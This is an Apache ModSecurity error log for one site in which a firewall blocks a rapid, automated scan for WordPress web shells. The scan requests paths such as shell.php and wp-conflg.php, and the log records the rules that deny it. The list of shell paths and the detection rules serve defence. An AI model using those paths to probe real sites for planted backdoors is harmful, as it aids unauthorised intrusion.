[Fri Jan 09 20:20:11.184333 2026] [:error] [pid 1366:tid 1384] [client 85.203.21.202:53637] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/"] [unique_id "aWDyexmasveKu8_ec1VqLgAAAY8"]
[Fri Jan 09 20:20:11.543437 2026] [:error] [pid 14801:tid 14820] [client 85.203.21.210:47729] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "aWDye98UWXrz_OQYgF1jZgAAAlE"]
[Fri Jan 09 20:20:11.897277 2026] [:error] [pid 14831:tid 14836] [client 85.203.21.204:51645] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aWDye_aKOMCmJcAyBm04yAAAAoM"]
[Fri Jan 09 20:20:12.262041 2026] [:error] [pid 14739:tid 14764] [client 85.203.21.54:65013] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/"] [unique_id "aWDyfF63M6_PkLt_IJJocAAAAdc"]
[Fri Jan 09 20:20:12.636047 2026] [:error] [pid 1366:tid 1383] [client 85.203.21.58:64777] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aWDyfBmasveKu8_ec1VqMAAAAY4"]
[Fri Jan 09 20:20:13.022363 2026] [:error] [pid 30021:tid 30085] [client 85.203.21.183:20567] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/shell/"] [unique_id "aWDyfQ_M8aRtsTog5J-elgAAAMQ"]
[Fri Jan 09 20:20:13.371340 2026] [:error] [pid 14872:tid 14895] [client 85.203.21.45:20281] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/"] [unique_id "aWDyfaIUELhgYLNp1sY3ZwAAAtU"]
[Fri Jan 09 20:20:13.718816 2026] [:error] [pid 44848:tid 44858] [client 85.203.21.207:64885] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/fm.php"] [unique_id "aWDyfajajoTJAbEk87zJXAAAAEg"]
[Fri Jan 09 20:20:14.064798 2026] [:error] [pid 14831:tid 14847] [client 85.203.21.167:61149] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "aWDyfvaKOMCmJcAyBm04ywAAAo4"]
[Fri Jan 09 20:20:14.411644 2026] [:error] [pid 1366:tid 1380] [client 85.203.21.208:42649] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aWDyfhmasveKu8_ec1VqMgAAAYs"]
[Fri Jan 09 20:20:14.769417 2026] [:error] [pid 1366:tid 1379] [client 85.203.21.170:28001] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "aWDyfhmasveKu8_ec1VqMwAAAYo"]
[Fri Jan 09 20:20:15.117306 2026] [:error] [pid 14739:tid 14754] [client 85.203.21.168:64861] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aWDyf163M6_PkLt_IJJocgAAAc0"]
[Fri Jan 09 20:20:15.469709 2026] [:error] [pid 30021:tid 30092] [client 85.203.21.176:60305] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aWDyfw_M8aRtsTog5J-emgAAAMs"]
[Fri Jan 09 20:20:15.817785 2026] [:error] [pid 14801:tid 14808] [client 85.203.21.217:28647] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/network_xo.php"] [unique_id "aWDyf98UWXrz_OQYgF1jaAAAAkU"]
[Fri Jan 09 20:20:16.166227 2026] [:error] [pid 14831:tid 14856] [client 85.203.21.221:38443] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aWDygPaKOMCmJcAyBm04zgAAApc"]
[Fri Jan 09 20:20:16.525888 2026] [:error] [pid 14831:tid 14835] [client 85.203.21.192:45115] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aWDygPaKOMCmJcAyBm040AAAAoI"]
[Fri Jan 09 20:20:16.877276 2026] [:error] [pid 14831:tid 14853] [client 193.37.32.3:35313] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aWDygPaKOMCmJcAyBm040QAAApQ"]
[Fri Jan 09 20:20:17.236014 2026] [:error] [pid 44848:tid 44868] [client 85.203.21.202:56377] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/wp-conflg.php"] [unique_id "aWDygajajoTJAbEk87zJXwAAAFI"]
[Fri Jan 09 20:20:17.584829 2026] [:error] [pid 1366:tid 1374] [client 85.203.21.172:56487] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/chosen.php"] [unique_id "aWDygRmasveKu8_ec1VqOAAAAYU"]
[Fri Jan 09 20:20:17.962918 2026] [:error] [pid 30021:tid 30082] [client 85.203.21.155:63509] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/classwithtostring.php"] [unique_id "aWDygQ_M8aRtsTog5J-enQAAAME"]
[Fri Jan 09 20:20:18.342669 2026] [:error] [pid 1366:tid 1384] [client 85.203.21.160:57189] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/function/function.php"] [unique_id "aWDyghmasveKu8_ec1VqOgAAAY8"]
[Fri Jan 09 20:20:18.716776 2026] [:error] [pid 14739:tid 14756] [client 85.203.21.159:22749] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aWDygl63M6_PkLt_IJJocwAAAc8"]
[Fri Jan 09 20:20:19.079008 2026] [:error] [pid 1366:tid 1387] [client 85.203.21.221:31621] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/"] [unique_id "aWDygxmasveKu8_ec1VqPAAAAZI"]
[Fri Jan 09 20:20:19.425079 2026] [:error] [pid 1366:tid 1388] [client 85.203.21.223:43649] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/areak1.php"] [unique_id "aWDygxmasveKu8_ec1VqPgAAAZM"]
[Fri Jan 09 20:20:19.790460 2026] [:error] [pid 14801:tid 14825] [client 85.203.21.223:53151] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/"] [unique_id "aWDyg98UWXrz_OQYgF1jagAAAlY"]
[Fri Jan 09 20:20:20.144129 2026] [:error] [pid 14770:tid 14781] [client 85.203.21.210:53479] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ufbngowues/main.php"] [unique_id "aWDyhB5QbaVZ-6newJY8CAAAAgk"]
[Fri Jan 09 20:20:20.510764 2026] [:error] [pid 1366:tid 1379] [client 85.203.21.204:21041] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shell3.php"] [unique_id "aWDyhBmasveKu8_ec1VqQAAAAYo"]
[Fri Jan 09 20:20:20.859766 2026] [:error] [pid 14801:tid 14821] [client 85.203.21.208:44085] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/elementor/includes/template-singl-portfolio.php"] [unique_id "aWDyhN8UWXrz_OQYgF1jawAAAlI"]
[Fri Jan 09 20:20:21.206212 2026] [:error] [pid 14739:tid 14757] [client 85.203.21.172:55205] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aWDyhV63M6_PkLt_IJJodgAAAdA"]
[Fri Jan 09 20:20:21.561892 2026] [:error] [pid 1366:tid 1389] [client 85.203.21.172:61507] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-conflg.php"] [unique_id "aWDyhRmasveKu8_ec1VqQgAAAZQ"]
[Fri Jan 09 20:20:21.909692 2026] [:error] [pid 30019:tid 30043] [client 85.203.21.161:20333] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aWDyhUz3igHGwX5f7IrnvwAAABM"]
[Fri Jan 09 20:20:22.260099 2026] [:error] [pid 1366:tid 1371] [client 85.203.21.58:48755] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/audio/"] [unique_id "aWDyhhmasveKu8_ec1VqRAAAAYM"]
[Fri Jan 09 20:20:22.607965 2026] [:error] [pid 1366:tid 1384] [client 85.203.21.161:41301] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/worksec.php"] [unique_id "aWDyhhmasveKu8_ec1VqRgAAAY8"]
[Fri Jan 09 20:20:22.960883 2026] [:error] [pid 1366:tid 1386] [client 85.203.21.54:53869] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aWDyhhmasveKu8_ec1VqRwAAAZE"]
[Fri Jan 09 20:20:23.316689 2026] [:error] [pid 14739:tid 14760] [client 85.203.21.54:56041] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aWDyh163M6_PkLt_IJJodwAAAdM"]
[Fri Jan 09 20:20:23.664827 2026] [:error] [pid 1366:tid 1390] [client 85.203.21.195:24325] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-signin.php"] [unique_id "aWDyhxmasveKu8_ec1VqSwAAAZU"]
[Fri Jan 09 20:20:24.019852 2026] [:error] [pid 1366:tid 1393] [client 85.203.21.164:29689] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/library/"] [unique_id "aWDyiBmasveKu8_ec1VqTAAAAZg"]
[Fri Jan 09 20:20:24.367765 2026] [:error] [pid 1366:tid 1382] [client 85.203.21.239:31811] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/admin-header.php"] [unique_id "aWDyiBmasveKu8_ec1VqTQAAAY0"]
[Fri Jan 09 20:20:24.717377 2026] [:error] [pid 1366:tid 1373] [client 85.203.21.235:50793] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/about.php"] [unique_id "aWDyiBmasveKu8_ec1VqUQAAAYQ"]
[Fri Jan 09 20:20:25.102639 2026] [:error] [pid 14872:tid 14887] [client 85.203.21.57:41015] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "aWDyiaIUELhgYLNp1sY3agAAAs0"]
[Fri Jan 09 20:20:25.451184 2026] [:error] [pid 30019:tid 30041] [client 85.203.21.170:22403] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/222.php"] [unique_id "aWDyiUz3igHGwX5f7IrnwgAAABE"]
[Fri Jan 09 20:20:25.801674 2026] [:error] [pid 14801:tid 14819] [client 85.203.21.172:50783] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aWDyid8UWXrz_OQYgF1jbwAAAlA"]
[Fri Jan 09 20:20:26.159993 2026] [:error] [pid 14770:tid 14784] [client 85.203.21.232:47431] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-conflg.php"] [unique_id "aWDyih5QbaVZ-6newJY8DQAAAgw"]
[Fri Jan 09 20:20:26.525762 2026] [:error] [pid 14801:tid 14809] [client 85.203.21.155:42879] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "aWDyit8UWXrz_OQYgF1jcAAAAkY"]
[Fri Jan 09 20:20:26.879493 2026] [:error] [pid 14770:tid 14783] [client 85.203.21.170:38607] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aWDyih5QbaVZ-6newJY8EAAAAgs"]
[Fri Jan 09 20:20:27.237279 2026] [:error] [pid 14770:tid 14787] [client 85.203.21.223:62721] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-terms/"] [unique_id "aWDyix5QbaVZ-6newJY8EwAAAg8"]
[Fri Jan 09 20:20:27.582456 2026] [:error] [pid 14831:tid 14842] [client 85.203.21.190:56689] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/themes/"] [unique_id "aWDyi_aKOMCmJcAyBm040wAAAok"]
[Fri Jan 09 20:20:27.942720 2026] [:error] [pid 14739:tid 14752] [client 85.203.21.54:63609] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/block-library/"] [unique_id "aWDyi163M6_PkLt_IJJoeAAAAcs"]
[Fri Jan 09 20:20:28.305159 2026] [:error] [pid 1366:tid 1375] [client 85.203.21.176:31165] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/components/"] [unique_id "aWDyjBmasveKu8_ec1VqUwAAAYY"]
[Fri Jan 09 20:20:28.659155 2026] [:error] [pid 30021:tid 30099] [client 85.203.21.235:27205] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/"] [unique_id "aWDyjA_M8aRtsTog5J-eoQAAANI"]
[Fri Jan 09 20:20:29.017233 2026] [:error] [pid 44848:tid 44853] [client 85.203.21.201:64807] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/packed.php"] [unique_id "aWDyjajajoTJAbEk87zJYQAAAEM"]
[Fri Jan 09 20:20:29.366065 2026] [:error] [pid 30019:tid 30048] [client 85.203.21.210:35013] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/error.php"] [unique_id "aWDyjUz3igHGwX5f7IrnxgAAABg"]
[Fri Jan 09 20:20:29.736036 2026] [:error] [pid 14831:tid 14834] [client 85.203.21.221:50485] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/404.php"] [unique_id "aWDyjfaKOMCmJcAyBm041AAAAoE"]
[Fri Jan 09 20:20:30.105049 2026] [:error] [pid 14801:tid 14818] [client 85.203.21.239:23783] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comment-content/"] [unique_id "aWDyjt8UWXrz_OQYgF1jcwAAAk8"]
[Fri Jan 09 20:20:35.453391 2026] [:error] [pid 44848:tid 44856] [client 85.203.21.237:23893] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aWDyk6jajoTJAbEk87zJaAAAAEY"]
